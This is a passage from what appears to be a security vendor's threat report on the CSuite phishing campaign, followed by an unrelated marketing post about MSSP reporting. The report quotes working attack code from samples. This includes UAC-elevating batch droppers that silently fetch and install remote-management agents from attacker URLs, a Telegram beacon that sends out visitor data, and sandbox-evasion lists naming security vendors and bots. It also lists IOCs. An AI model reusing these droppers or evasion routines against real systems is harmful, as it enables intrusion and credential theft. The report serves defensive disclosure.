3. Landing page: The victim lands on a counterfeit document viewer — Adobe Reader, DocuSign, Zoom or Dropbox depending on the line. The page reports the visit back to the affiliate, blocks the shortcuts an inquisitive user would reach for, and shows a document that never finishes loading.

4. Handover: The payload reaches the download folder. On the Adobe pages a script click starts it the moment the page opens; on the DocuSign line a button does it, and the server streams the file as an attachment. What arrives is an archive, an installer, or a batch or VBS script a few lines long that fetches the installer once it runs.

5. Execution: The victim opens the file. Instructions on the page frame it as a viewer or an update, and the file asks for elevation. The script droppers self-elevate through PowerShell and then call msiexec on the agent package.

6. Host held: A legitimate management agent lands on the machine — a remote-management client, or in newer builds an endpoint-management agent that enrols the device into a tenant the operator owns. Installation captures the interactive logon, loads into the authentication path at boot, and survives safe mode.

7. Account held: Victims who take the credential branch instead hand over their password and a live session to the panel, which keeps the session alive and hands the operator a mailbox that needs no second factor.

Breakdown of the CSuite Attack

Here is a thorough breakdown of the CSuite attack:

The Lure Page: a Counterfeit Adobe reader that Reports to Telegram

Check sandbox session

Every host in the pivot corpus serves the same page. It renders a counterfeit PDF viewer, the title PDF Viewer, the Adobe Clean typeface, a drawn browser window with an Adobe tab, over a document that sits just out of reach behind a modal. The document is whatever theme the campaign is running that week: a blank business contract in the recovered samples, a licensing agreement in the live run below. The only working control is the button, and the button downloads.

On load the page queries a geolocation service, assembles a visitor record, and posts it to the Telegram bot API. The code reaches the victim unminified, still carrying the setup instructions the kit shipped with:

const TELEGRAM_BOT_TOKEN = '8996595988:******'; 
const TELEGRAM_CHANNEL_ID = '20****165'; 
     
// Telegram Notification Functions 
async function getVisitorInfo() { 
  try { 
    // Get visitor's IP and location info 
    const response = await fetch('https://ipapi.co/json/'); 
    const data = await response.json(); 
// ... 

The record is formatted as a chat message and delivered with one POST: address, country, city, region, time zone and carrier; coordinated and local time; platform, language, screen and window dimensions; and the full user-agent string.

async function sendTelegramNotification(visitorInfo) { 
      try { 
        const message = `?? New Visitor Alert - MSI Page 
         
?? Location Details: 
• IP Address: ${visitorInfo.ip} 
• Country: ${visitorInfo.country} 
• City: ${visitorInfo.city} 
• Region: ${visitorInfo.region} 
• Timezone: ${visitorInfo.timezone} 
• ISP: ${visitorInfo.isp} 
 
? Time Information: 
• UTC Time: ${visitorInfo.timestamp} 
• Local Time: ${visitorInfo.localTime} 
 
?? Device Details: 
• Platform: ${visitorInfo.platform} 
• Language: ${visitorInfo.language} 
• Screen: ${visitorInfo.screenResolution} 
• Window: ${visitorInfo.windowSize} 
 
?? Browser Info: 
• User Agent: ${visitorInfo.userAgent} 
 
--- 
Adobe Acrobat MSI Download Page Visit`; 
 
// ...  
const telegramUrl = `https://api.telegram.org/bot${TELEGRAM_BOT_TOKEN}/sendMessage`; 
const response = await fetch(telegramUrl, { 
  method: 'POST', 
  headers: { 
    'Content-Type': 'application/json', 
  }, 
  body: JSON.stringify({ 
    chat_id: TELEGRAM_CHANNEL_ID, 
    text: message, 
    parse_mode: 'HTML' 
  }) 
}); 
// ... 

Clicking the “View Update” button opens a drawn browser window inside the page, styled as get.adobe.com and titled “Download and launch to view NMLS 2026 Updated Agreement”, with two numbered steps. Step one downloads; step two tells the victim to open the file from the Downloads folder. The browser’s own download panel is where the pretence breaks: the delivered file is NMLS 2026 Updated Agreement.bat.

That batch file is 324 bytes long, and it does one thing:

@echo off 
REM Check if already admin 
fltmc >nul 2>&1 
set CODE=%errorLevel% 
if %CODE% == 0 ( 
    msiexec /i "https://github.com/Ivan3900/test/raw/main/ScreenConnect.ClientSetup.msi" /quiet /norestart 
) else ( 
    REM Re-run the script as admin 
    powershell -Command "Start-Process '%~f0' -Verb RunAs" 
    exit 
) 

fltmc answers whether the script already holds administrative rights; when it does not, PowerShell relaunches the script through the UAC prompt the victim has been primed to accept.

Anti-Analysis Scaffold

The flow is designed to do two things in one visit: install a remote-management client, then redirect the victim to a credential-capture page through window.utils.getObfuscatedUrl(), carrying the victim’s address from the URL fragment.

In both deployments, the m/ directory is missing, leaving window.utils, blacklistSystem, and botTrapSystem undefined. Because each call is protected by a typeof check, the page continues to function:cloaking and redirection fail, but the beacon and payload delivery still work. Telemetry supports this, with 13 consecutive alerts from page A including unfiltered data-centre addresses.

The Gate at The Pivot Path

m/js/utils.js is the file every page in the corpus asks for, and a copy of it sits at that exact path in another sandbox run of the kit. It is 66 KB of unminified, commented JavaScript under the headerEnhanced CAPTCHA Protection Utilities.

The code decides whether a visitor is worth a phishing page. It checks:

• The user-agent against forty crawler and automation signatures — search-engine and link-preview bots, curl, wget, python-requests, and the automation stack: headless, selenium, webdriver,puppeteer, phantom, jsdom.
• The user-agent against thirty-two security-vendor and scanner names — endpoint vendors, mail gateways such as mimecast, proofpoint, barracuda and cofense, and reputation services such asvirustotal, urlscan, netcraft, sucuri and zscaler.
• The visitor’s address against twenty hard-coded addresses and two /24 ranges, with a helper that adds new ones at runtime.
• The address itself twice over, through a STUN request to Google’s server and through a public lookup service, so a browser behind a proxy still gives up a local candidate.
• The country behind that address against a six-entry block list, resolved through a public geolocation API.
• The browser fingerprint against a ban list held in localStorage — three failed checks and that fingerprint is refused for 24 hours.
• Whether the environment behaves like a browser at all: storage, canvas, WebGL and font access, plugin state, time-zone consistency, and platform against user-agent.
• Whether a human is present: mouse-velocity variance, keystrokes, touch events, interaction count and time on page.
• A reCAPTCHA v3 score against a threshold that comes from server-side configuration.

Two name lists do most of that work:

knownBotSignatures: [ 
    "googlebot", "bingbot", "yandexbot", "slurp", "duckduckbot", "baiduspider", 
    ... 
    "scanner", "crawler", "spider", "headless", "scraper", "selenium", "webdriver", 
    "puppeteer", "phantom", "nightmare", "jsdom" 
], 
 
// Known security tools and email security scanners - REDUCED LIST 
securityTools: [ 
    "avast", "avg", "avira", "bitdefender", "kaspersky", "mcafee", "norton", 
    "eset", "f-secure", "trend micro", "sophos", "symantec", "trustwave", "forcepoint", 
    "checkpoint", "barracuda", "mimecast", "proofpoint", "fireeye", "crowdstrike", 
    "cyren", "spamhaus", "spamcop", "netcraft", "virustotal", "sucuri", "urlscan", 
    "zscaler", "office365", "microsoft-security", "cisco", "forcepoint", "cofense" 
] 

Read the second list as the set of checks the operator expects a lure to have to survive; forcepoint appears in it twice, which says something about how it was assembled. Country filtering is five lines, and the comment reads like a template default nobody revisited:

const geoBlockSystem = { 
    blockedCountries: ["RU", "CN", "KP", "IR", "SY", "CU"], // Example: block Russia, China, North Korea, Iran, Syria, Cuba 
    ... 
    if (this.blockedCountries.includes(this.visitorCountry)) { 
        this.blockAction(); 
    } 

A visitor who fails any check gets one of three fake maintenance pages, “We’re making some improvements”, a 503 with a generated error reference, a database-migration notice, and every button on them is wired to a trap:

// Create an infinite loop that consumes CPU and memory 
function activateTrap() { 
    showLoadingMessage(); 
    ... 
    for (let i = 0; i < 10000; i++) { 
        memoryConsumer.push(Array(1000).fill(Math.random().toString(36))); 
    } 
    let result = 0; 
    for (let i = 0; i < 10000000; i++) { 
        result += Math.sqrt(i) * Math.cos(i) / (1 + Math.sin(i)); 
    } 
    setTimeout(infiniteLoop, 10); 
} 

The trap also arms itself on a timer, 30 to 120 seconds after load, “to catch bots that don’t interact but wait on the page” — a direct shot at automated analysis that opens a URL and idles.

The PHP Build of the Same Kit

With the following TI Lookup query, we can search through recent public sandbox analyses and identify this malicious activity.

TI Lookup: url:”/e-sign_files/Icon-pdf-file-svg.png$” OR url:”eDocusign.php$” OR url:”/e-sign.php$”

This build is public in a sandbox run of its own: ANY.RUN’s analysis session of 27 August 2026, and the earliest public submission of the same build dates to 2 April 2026. It opens with a forged DocuSign envelope.

The Adobe pages are a static export. The DocuSign line runs the original server-side build, where five files carry the whole flow: index.php, eDocusign.php, e-sign.php, download.php andsettings.php. The header comment names its author and a contact handle, DocuSign BY <NICKNAME> tg-@…, and the alert footer repeats the same signature seen in the DocuSign templates in open telemetry, which is what marks the build as one author’s work.

index.php is the entry point. It reads the visitor from the request, resolves geolocation server-side, reports, and moves the visitor on:

$ip      = $_SERVER['REMOTE_ADDR'] ?? 'UNKNOWN'; 
$agent   = $_SERVER['HTTP_USER_AGENT'] ?? 'UNKNOWN'; 
$referer = $_SERVER['HTTP_REFERER'] ?? 'Direct / None'; 
$geo = @json_decode(file_get_contents("http://ip-api.com/json/$ip"), true); 
$message = "🔔<b> DocuSign Visit Alert </b>🔔\n\n" . "🕒 Time: $time\n" . "🧬 IP: $ip\n" . ...; 
sendTelegramMessage($message); 
header("Location: eDocusign.php"); 

eDocusign.php is the decoy. A business-proposal letter is rendered and then blurred with filter: blur(6px), with a PDF icon and a spinner floating above it, so the visitor sees a document that appears to be loading. Copy, save, print, select-all, view-source and drag are disabled, and after five seconds the page moves on by itself:

<div class="protected">   <!-- the whole letter, rendered then blurred --> 
<div class="pdf-overlay"><img src="e-sign_files/Icon-pdf-file-svg.png" class="pdf-icon"><div class="spinner"></div></div> 
... 
setTimeout(function () { window.location.href = "e-sign.php"; }, 5000); 

e-sign.php carries DocuSign branding, an inline vector logo and a single instruction, “Open the downloaded attachment on your computer”, behind a button that calls download.php.

download.php handles delivery and the second report. It picks between a local file and a remote link on one flag, resolves the client address through Cloudflare headers before falling back to the socket address, classifies device and browser from the user agent, sends a “DocuSign Download Alert”, then flushes the output buffers and streams the installer with attachment headers:

$USE_LOCAL_DOWNLOAD = true; // true = file download, false = link download 
$localFile = $USE_LOCAL_DOWNLOAD ? __DIR__ . '/files/DocusignEditSetup.msi' : ''; 
$ip = $_SERVER['HTTP_CF_CONNECTING_IP'] 
    ?? $_SERVER['HTTP_X_FORWARDED_FOR'] 
    ?? $_SERVER['REMOTE_ADDR'] 
    ?? 'Unknown'; 

settings.php holds the reporting credentials and the send routine, and it guards itself against being fetched directly:

if (basename(__FILE__) == basename($_SERVER["SCRIPT_FILENAME"])) { 
    http_response_code(403); 
    exit("Access denied."); 
} 

Installing the Agent: Four Methods, One Outcome

Every chain in this cluster ends the same way: a legitimate remote-management or device-management agent installed on the machine and registered to a tenant the operator holds. The tag row on the pivot query reads as a product catalogue on its own: screenconnect, connectwise, datto, action1, logmeinrescue, fleetdeck, simplehelp and ultravnc.

What changes between campaigns is how the installer gets onto the disk, and there are four ways in use.

The client that lands most often is a ScreenConnect build. Installation does three things that push the outcome past ordinary remote access: a credential provider is registered, so the operator sees the interactive logon; an authentication package is appended to LSA, which loads attacker code into the authentication path at boot; and the service is registered to start in safe mode with networking, so it survives the first thing an administrator usually tries.

The Script Droppers

Two generations of script dropper run alongside the archives. The newer one is the 324-byte batch file shown earlier: an fltmc check for administrative rights, a PowerShell relaunch through UAC, andmsiexec pointed straight at a raw URL on the group’s code-hosting account.

The older generation is 1.1 KB and stages the package itself. It ships as Adobe Installer V3572.bat, Updated Service Agreement 2026.bat and Update_6779.bat; the three are one file with the variable names, the console title, the temporary filenames and the download URL swapped:

:: --- Self-elevate (UAC prompt right after the brief CMD flash) --- 
net session >nul 2>&1 
if %errorLevel% NEQ 0 ( 
    powershell -WindowStyle Hidden -Command "Start-Process '%~f0' -Verb RunAs" 
    exit /b 
) 
:: --- Write a tiny VBS so the fake popup auto-times-out --- 
> "%kdpS%" echo Set s = CreateObject("WScript.Shell") 
>>"%kdpS%" echo s.Popup "Unexpected error. The operation will retry.", 4, "Application Error", 48 
start "" wscript.exe "%kdpS%" 
:: --- Download the MSI via PowerShell WebClient --- 
powershell -WindowStyle Hidden -Command "(New-Object Net.WebClient).DownloadFile('https://app.action1.com/agent/5c2cda44-433f-11f1-9ef8-332f425c6d9a/Windows/agent(My_Organization).msi', '%LbiAu%')" 
:: --- Install silently (blocks until msiexec finishes) --- 
if exist "%LbiAu%" msiexec /i "%LbiAu%" /qn 
timeout /t 5 /nobreak >nul 
del "%LbiAu%" /q >nul 2>&1 
del "%kdpS%" /q >nul 2>&1 

A four-second Application Error popup, written out as a throwaway VBS so that it dismisses itself, covers the seconds while the agent installs, and both temporary files are deleted afterwards. The three copies fetch from three different places: the operator’s own Action1 tenant on the vendor’s cloud, an R2 bucket, and a self-hosted ScreenConnect server at 64.204.180[.]203:8040 addressed as/Bin/Adobe.ClientSetup.msi?e=Access&y=Guest. The temporary names are chosen to read as maintenance — patch651.msi, patch495.msi, svchost805.vbs — and the console title is always Update_ and four digits. The VBS variant of the same dropper, Amended_Agreement 02026.vbs, assembles the same msiexec command line as a string.

The affiliate behind lure page B runs four more lure lines from arubanetworks-inc[.]com and sharepointer-dr[.]com, all reporting to the same endpoint.

Network Infrastructure

Operator’s Lure pages and payloads sit on one hosting on a server fronted by greenbullet[.]ba. Four certificates issued on one day, 4 August 2026, cover gddfzxa[.]online, ghs.coorpes[.]com,greaterheights[.]sbs and mmswerod[.]sbs, and nothing on the account belongs to a legitimate business: three of those four names have no prior record anywhere, and the fourth is the random-string domain that serves the lures.

Two things in this layer outlast everything else. The shared script path survived seven months of domain rotation, and the remote-management tenant identifier is fixed per build, so it marks every host the group installs on.

Attribution

Several parts of the investigation point back to the same operating environment, including shared infrastructure, delivery tooling, panel domains, and operator-controlled accounts. Together, these links connect the phishing, session-capture, and remote-access activity to the operation tracked here as CSuite.

CSuite v1.1

The panel calls itself CSuite v1.1 and administers itself from, for example, maillive[.]sbs, which doubles as a device-code landing page. It carries 23 modules.

The Adobe PDF template in that list is one of the observations that binds the two arms. The panel ships a landing template and a whole sender module built for the Adobe theme, and the delivery arm serves Adobe-themed pages from a domain that appears in the panel’s own registry.

Cluster Expansion

The panel’s own working modules carry far more infrastructure than the delivery chain ever touched. Four artifact classes expand the cluster.

The domain registry. Thirty-eight domains, each row tagged with a role, a capture mode, an anti-bot setting, a geographic filter and a Cloudflare Worker binding. Registry additions run from 2 April to 14 August 2026. Fourteen are live lure hosts, eight are redirectors, two run the Chameleon harvester, three are post-capture redirect targets, and seven sit on borrowed or borrowed-looking infrastructure: the shared-hosting domains behind the Adobe pages, plus two names built to read as organizations the group targets.

The Auto Redirect module shows how those hosts chain. A visitor who enters an address on pdfsecurtoview[.]sbs — 61 clicks recorded — is routed by provider: Microsoft accounts to pdfsecurtoview365[.]sbs, Google accounts to corporate-sync-gate[.]net, everything else to the Chameleon harvester. Three redirectors send Microsoft victims to /verify/<uuid> paths on two domains that read as real organisations. ambitiousaboutautismorguk[.]com collapses the address of a UK autism charity into a single .com label, and solarengyloanfunds[.]com drops a letter from the name of an energy loan fund that already appears in the panel’s own victim list. Both are registrations of the group’s own, built to survive a glance at the address bar.

Payload staging on a public code-hosting account. The ScreenConnect installers pushed by the delivery arm are served straight from a public GitHub account, Ivan3900. Two of its raw URLs appear in the campaign’s own delivery telemetry — github[.]com/Ivan3900/mobi/raw/main/ScreenConnect.ClientSetup.msi and github[.]com/Ivan3900/jppp/raw/main/ScreenConnect.ClientSetup.msi, both uploaded on 18 August 2026 — and a third is the one the licensing-themed batch dropper calls, github[.]com/Ivan3900/test/raw/main/ScreenConnect.ClientSetup.msi, uploaded on 31 August 2026. The mobi and test copies are the same file; jppp carries its own build pointed at a different relay. The account holds nine repositories of this kind: lure pages committed as index.html, and beside them the installers each page hands out.

The staged installers point at self-hosted ScreenConnect servers of their own. Four are configured across the set, all with guest access parameters:

The same account shows how wide the remote-management arsenal runs. Alongside ScreenConnect it stages Action1 agents renamed to Adobe_Acrobat_V6trj.msi and Dotloop AgentSetup_V34.msi, an Atera build, and two 20 MB agents carrying Syncro strings under the names Adobe_AgentInstallerV367.exe and Dotloop_AgentInstallerV367.exe. Delivery telemetry adds a fifth vendor: PDQConnectAgent_ZoomUpdater.msi, served 46 times from a Cloudflare R2 bucket alongside Zoom_InstallerX64.zip.

Two sending relays with their own DKIM. Lure mail leaves through mail.wirsann[.]com (188.127.227[.]18) and mail.boratlongyear[.]com (141.133.174[.]208), both on 587/STARTTLS with a PowerMTA port on 2525. Each has a default._domainkey DKIM record published, so the selector enumerates every sending domain configured against the relay.

Other Attacks Found During the Investigation

The same tooling and infrastructure also appeared in additional attacks that exposed different parts of the CSuite workflow. These cases help show how the operation adapts its delivery and capture methods while keeping the same underlying components.

A Complete Deployment, Gate and Capture in One Visit

The Adobe exports and the DocuSign build both deliver software. A third deployment of the same kit, captured in a public sandbox run on 7 July 2026, does the other job of the operation: it takes credentials, and it does so through the Chameleon module described above. It is also the run that yielded the m/js/utils.js gate examined at the start of this report — the same kit with none of its parts missing: ANY.RUN session.

It runs from /upload/cgi/ on a compromised Australian escrow site, escrowadmin[.]com[.]au, and the entry link carries the target’s own address in the query string. Every step between that link and the login form is a gate:

Server-side pieces sit on both sides of the browser checks: the verdict is recorded by process.php before the visitor moves on, the hop to the credential page is licensed by a token with a timestamp, and blacklist_api.php takes the outcome back so a refused visitor stays refused. The Adobe exports carry the browser-side calls of this design and none of the server side, which is why their cloaking does nothing at all.

Device-Code Phishing Attacks

Alongside credential phishing, CSuite uses a device-code flow that does not require the victim to enter a password on the phishing page. Instead, the victim receives a short code and is directed to Microsoft’s legitimate device-login page. Entering the code authorizes the attacker-initiated OAuth request, giving the operator access and refresh tokens.

The three observed samples use the same Next.js frontend. The page loads its lure configuration from /api/lure/config, initiates the device-code request through /api/initiate, copies the user code to the clipboard, and polls /api/status until authentication is completed.

The bundle includes seven lure templates: Teams, voicemail, SharePoint, DocuSign, Adobe, WeTransfer, and DocSend, each with its own branding and call to action.

Sample (PDF Viewer): ANY.RUN session

Host docsendsr[.]online, adobe template. The page draws an Adobe Acrobat reader with a five-page document behind a modal, titled “Secure PDF Download”, and offers one control: Verify with Microsoft.

The click produces the code presented as “YOUR VERIFICATION CODE” with a copy button and the instruction to paste it on the Microsoft sign-in page.

Continuing opens the genuine Microsoft Login page in a second window, with the code already on the clipboard. Everything the victim sees from this point is Microsoft’s.

Sample (SharePoint): ANY.RUN session

Host selectivelife03[.]sbs, sharepoint template, served over plain HTTP. The background is a mock SharePoint library, “Documents › Shared with me” with blurred tiles for Q4_Report.xlsx, Project_Plan.docx and others, and the modal names one file, ENCRYPTED_DOCUMENT.PDF, while it “prepares secure verification”.

The code arrives with numbered instructions: copy the code, click continue, paste it to verify. The three-step wording exists because the flow needs the victim to carry the code across to another site.

he device-login window opens with the code already typed into Microsoft’s field, and the lure switches its button to “Copied!”.

Sample (Voice mail): ANY.RUN session

Host documentensono[.]sbs, voicemail template. A Microsoft 365 notification says a voicemail is waiting, complete with caller, duration, a progress bar and a footer about Teams voicemail settings and asks the visitor to sign in to hear it.

How Organizations Can Reduce the Risk from CSuite

CSuite can compromise both identities and endpoints through phishing, device-code authentication, stolen sessions, and legitimate management tools. Defending against it requires visibility across the full attack chain, from the initial lure to account and host access.

Investigate Suspicious Lures Before They Reach Users

CSuite uses fake Adobe, DocuSign, Zoom, SharePoint, and Microsoft 365 pages to deliver scripts, installers, and authentication flows. Suspicious files and links should be analyzed in an isolated environment before users interact with them.

ANY.RUN’s Interactive Sandbox can expose redirects, PowerShell execution, payload delivery, anti-analysis behavior, and remote-management installation across the full attack chain.

Look Beyond the First Indicator

A single malicious domain or URL may be part of a much larger CSuite cluster. Recurring artifacts such as /m/js/utils.js, shared lure patterns, and related infrastructure can help analysts connect activity that would otherwise appear separate.

ANY.RUN Threat Intelligence Lookup lets analysts pivot from domains, IPs, URLs, files, and recurring paths to connected infrastructure.

Keep Detection Current as Infrastructure Changes

CSuite rotates domains and hosting, which limits the value of static blocklists alone. Security teams need fresh indicators that can be applied across existing controls as new infrastructure appears.

ANY.RUN Threat Intelligence Feeds can deliver current malicious domains, IPs, URLs, and other IOCs into SIEM, EDR, firewalls, and other security tools.

Correlate Identity and Endpoint Activity

Unexpected Microsoft 365 sessions, device-code authentication, and new management-agent installations should be investigated together. With CSuite, activity that looks like separate identity and endpoint incidents may belong to the same attack.

Contain More Than the Password

If session or device-code compromise is suspected, revoke active sessions and tokens, review OAuth grants and mailbox rules, and investigate activity performed through the affected account. Unauthorized management agents should also be removed and affected endpoints checked for persistence.

Conclusion

CSuite combines phishing, session theft, and remote-access delivery within a single operation, giving attackers multiple paths into both accounts and endpoints.

For security teams, the key challenge is that these paths can appear separate while supporting the same campaign. Detection therefore needs to connect identity activity, phishing infrastructure, and unexpected use of legitimate management tools.

The scale seen in CSuite also suggests that the activity extends beyond what any single telemetry source can capture, making early correlation and cross-layer visibility especially important.

About ANY.RUN

ANY.RUN is a leading provider of interactive malware analysis and threat intelligence solutions trusted by 16,000+ organizations and 700,000+ security professionals worldwide, including 74% of the Fortune 100.

Its Interactive Sandbox and Threat Intelligence solutions help SOC teams analyze suspicious files and URLs, uncover malicious behavior, enrich alerts with actionable context, and connect related activity across files, infrastructure, and campaigns. This helps teams investigate threats faster, make more confident response decisions, and contain malicious activity before it creates wider business impact.

TTPs (MITRE ATT&CK)

IOCs

Highest-value indicators

• /m/js/utils.js — URI path shared by every page of the kit, unchanged for seven months across 170 domains
• url:”/m/js/utils.js$” and url:”/e-sign_files/Icon-pdf-file-svg.png$” OR url:”eDocusign.php$” OR url:”/e-sign.php$” — the two sandbox-telemetry queries that enumerate the static export and the PHP build
• instance-t7o41i-relay[.]screenconnect[.]com — remote-management command channel
• /.DocuSign/ with the file set index.php, eDocusign.php, e-sign.php, download.php, settings.php — the PHP build, deployed both at document root and under a nested review.signal-doc.cloud/ path
• hxxps://localcontex[.]online/AdobecloudReader/pdf_Reader_en_install.msi, hxxps://localcontex[.]online/review.signal-doc.cloud/.DocuSign/ — current delivery paths of the management-agent payload

Domains

• gddfzxa[.]online
• gddfzxa[.]online
• ghs.coorpes[.]com
• greaterheights[.]sbs
• mmswerod[.]sbs
• greenbullet[.]ba
• emsafetoproceedtaward[.]top
• maillive[.]sbs
• arubanetworks-inc[.]com
• sharepointer-dr[.]com
• stubborn-academy[.]icu
• corporate-sync-gate[.]net
• legacy-bridge-node[.]net
• conferenceuniverses[.]buzz
• zerichoproject[.]org
• pdfsecurtoview[.]sbs, pdfsecurtoview[.]cfd, pdfsecurtoview[.]info
• pdfsecurtoview365[.]sbs, pdfsecurtoview365[.]cfd, pdfsecurtoviewsuite[.]sbs
• pdfsecurtoviewothers[.]sbs, pdfsecurtoviewothers[.]cfd
• docsendsr[.]online, docseed[.]online, docseedn[.]online
• documentsonitustechnologies[.]sbs, downloaddocumentcontechbuilding[.]sbs, documentationreviewdocument2026review[.]sbs
• selectivelife01[.]sbs, pikecac[.]cfd, qrcoderuser[.]cfd, fincapitalxcom[.]cfd
• allshore-io[.]cam, sharerpoint[.]cam, voicermailsmessager[.]cam, keepsecurepasserword[.]cam
• giiro[.]net, expressdocumentdelivery[.]org, aviationpioneers[.]info
• ambitiousaboutautismorguk[.]com, solarengyloanfunds[.]com — lookalike domains of a UK charity and of a victim organisation, used for /verify/ credential stages
• checkingweb[.]net — counterfeit PDF viewer serving the licensing-themed batch dropper
• cellumbio[.]com — sending domain of the licensing-themed lure mail
• mail.wirsann[.]com, mail.boratlongyear[.]com — lure sending relays
• sqrd.m365.sharedfile[.]online, sqrd.m36s.sharedfile[.]tech, shared.file.nn365[.]cloud, shared.note.nn365[.]cloud, shared.file.cnrv[.]tech, file.shared.cnrv[.]tech,loq.file.cnrv[.]online, m36nx.file.cnrv[.]online, file.shared.m36s[.]site, file.shared.myscript[.]sbs — Microsoft 365 document lures on the token-fragment paths
• usoffweb69[.]top, netcoxweb[.]top, coxnetwork[.]top, doc.lauraice[.]xyz, docuread[.]im, docusign.web-viewww[.]es — DocuSign-themed hosts serving the PHP build under nested /doc/ and/dc/ paths

Addresses

• 207.189.19[.]40:26688 — remote-desktop foothold
• 185.174.102[.]34 — GSuite panel
• 190.123.46[.]122 — kit origin server
• 188.127.227[.]18, 141.133.174[.]208 — sending relays
• 91.92.41[.]114:8041, 212.189.40[.]73:8041, 155.254.26[.]180:8041, 64.204.180[.]203:8040 — self-hosted ScreenConnect servers behind the staged installers
• 31.57.147[.]133, 31.57.38[.]60, 102.67.5[.]132, 191.101.130[.]42, 102.88.167[.]38 — operator addresses

Storage buckets

• btconnect-com, totalmfgsys-com, vistagrandedairy-com, docsend-765676, docsends-756776, gsuitis-07971, invite-67976, rigibore-8989

Files

Staging account

• github[.]com/Ivan3900

The post CSuite Targets US and EU Organizations with Device-Code Phishing and Remote Access appeared first on ANY.RUN's Cybersecurity Blog.

No ransomware outbreak. No major account compromise. No business disruption.

But it can also create an awkward conversation with the client: What exactly did we pay for this month?

The problem is not that the SOC did nothing. Quite the opposite. Analysts may have investigated hundreds of suspicious files, URLs, emails, and alerts. They may have confirmed malicious activity, closed false positives, identified new infrastructure, and stopped cases from consuming more time or reaching higher escalation tiers.

Most of that work simply happens behind the scenes.

Making that work visible helps clients understand the service they are receiving and gives MSSPs stronger proof of value during reviews and renewals.

The goal is not to overwhelm clients with more SOC data, but to show the activity that connects everyday investigations to business value.

What Clients Actually Need to See

Clients do not need a longer list of alerts. They need a clearer picture of what their MSSP handled for them.

That means reporting the outcomes behind the activity:

• how many threats were investigated;
• how many were confirmed as malicious;
• how many cases were closed without further escalation;
• how quickly analysts reached a decision;
• what new indicators or threat patterns were identified;
• and what actions were recommended as a result.

This gives the client something much more meaningful than an incident count.

It shows the volume of work handled by the SOC, the decisions analysts made, and the security value created along the way.

Show the Work Behind Each Investigation

A closed case can still contain a lot of value for the client.

For example, an analyst may have checked a suspicious email, opened the attachment in a sandbox, confirmed its behavior, found the domains or IPs it contacted, and recommended blocking them.

Even if the case never became a major incident, that investigation produced evidence the MSSP can report.

ANY.RUN’s Interactive Sandbox helps analysts collect that evidence during analysis, including process activity, network connections, files, URLs, and other indicators.

The result is more than a verdict. MSSPs have concrete findings they can use to explain what was investigated, what was found, and what action was taken.

Give Clients the Findings, Not the Technical Noise

Clients do not need every process, network request, or command line an analyst reviewed. They need a clear explanation of what was investigated, what the SOC concluded, and what action was taken.

ANY.RUN’s Tier 1 reports help turn investigation results into structured summaries that MSSPs can use in client updates, monthly reports, and service reviews.

For example, a report can show that the SOC analyzed a suspicious attachment, reviewed its behavior, identified relevant indicators, closed the case, and recommended follow-up actions where needed.

That gives the client something concrete to see even when the month ended without a major incident.

A closed investigation is no longer just an internal ticket. It becomes evidence of the work the MSSP performed and the decisions the SOC made on the client’s behalf.

Show Clients the Threats They Are Facing

Individual investigations show what happened case by case. The bigger picture can be even more useful.

MSSPs can use recurring patterns to show clients what is changing around them: which threat families are appearing more often, which campaigns are active, what infrastructure keeps resurfacing, and which techniques are becoming more common.

ANY.RUN’s 2026 MSSP data shows frequent analysis of families such as ClickFix, Sneaky2FA, EvilTokens, EtherHiding, and Kali365.

That gives MSSPs a stronger story than simply saying, “We investigated 200 cases.”

With Threat Intelligence Lookup, analysts can connect indicators from individual investigations with related infrastructure, previous activity, and broader threat patterns.

Over time, that context can help MSSPs show clients what the threat situation looks like in their industry, which activity is becoming more relevant, and where attention may be needed next.

So instead of reporting only what was closed, the MSSP can also explain:

• which threats were most active during the period;
• what patterns appeared repeatedly;
• which new indicators or infrastructure were uncovered;
• and how the current activity compares with what the SOC was seeing before.

That turns threat intelligence into something useful for client conversations: not just more data, but a clearer view of the threat environment around their business.

Make Response Time and Escalation Part of the Value Story

Clients may not see every investigation, but they can understand how quickly their SOC gets to a decision and how efficiently their provider uses analyst time.

That makes response time and escalation rate useful proof-of-value metrics.

Email alone makes up 30.3% of MSSP sandbox submissions in ANY.RUN’s 2026 data. That means a significant share of day-to-day investigation work starts with suspicious messages that Tier 1 needs to validate quickly.

With ANY.RUN’s Interactive Sandbox, analysts can open suspicious emails, inspect attachments and links, observe behavior, and collect the context they need to decide whether a case can be closed or requires deeper investigation.

MSSPs using ANY.RUN report 20% less time spent on Tier 1 investigations and 30% fewer escalations from Tier 1 to Tier 2.

For clients, those numbers show that their provider is not wasting analyst time and resources on unnecessary handoffs. More cases can be resolved at the first line of analysis, while senior analysts stay focused on the investigations that truly need deeper expertise.

So instead of reporting only how many cases were closed, MSSPs can also show how quickly they were resolved, how many were handled at Tier 1, and how efficiently SOC resources were used.

Show Clients What Changed Because of the Investigation

A useful investigation should end with more than a verdict.

For the client, the real value is knowing what the SOC found and what should happen next.

With ANY.RUN, analysts can use behavioral evidence from the Interactive Sandbox, indicators uncovered during analysis, and additional context from Threat Intelligence Lookup to support concrete recommendations.

That can mean blocking a domain or IP, updating a detection rule, investigating related infrastructure, checking other endpoints, or watching for the same technique in future activity.

Tier 1 reports help bring those findings together in a structured format, so MSSPs can include not only the result of the investigation, but also the recommended next steps.

They can see what was investigated, what the SOC learned from it, and what action was recommended as a result.

Over time, that helps the MSSP show how everyday investigations are contributing to stronger detection and better security decisions, even when no major incident occurred.

Make the Value Visible Before Renewal Time

The worst time to explain an MSSP’s value is when a renewal is already on the table.

If clients only hear about the SOC when something goes wrong, long periods without major incidents can make the service look quieter than it really is.

Regular reporting changes that.

When MSSPs consistently show what was investigated, how quickly cases were resolved, which threats were identified, what indicators were uncovered, and what actions were recommended, clients get a much clearer picture of the work happening throughout the year.

That makes monthly reports and QBRs more than status updates. They become a record of the service delivered over time.

Make Proof of Value Part of the Service

For MSSPs, proving value should not depend on a major incident happening.

The stronger model is to make investigation output part of the client experience throughout the year; in monthly reports, service reviews, and renewal conversations.

ANY.RUN helps MSSPs bring together investigation evidence, threat context, response metrics, and recommended actions so clients can see not only that the service is running, but what it is delivering.

That gives MSSPs a stronger story to tell when the month is quiet, and a clearer way to show why the service matters.

About ANY.RUN

Trusted by 700,000+ cybersecurity professionals, 16,000+ organizations, and 2,170+ MSSPs worldwide, including 64% of Fortune 500 companies, ANY.RUN helps security teams detect and investigate threats faster.

Our Interactive Sandbox provides real-time behavioral analysis of suspicious files and URLs, enabling confident triage and response.

Threat Intelligence Lookup and Threat Intelligence Feeds deliver live, verified threat data that strengthens detection and improves prioritization.

By embedding analysis and intelligence into daily SOC workflows, ANY.RUN helps organizations reduce response time, lower operational costs, and minimize security risk.

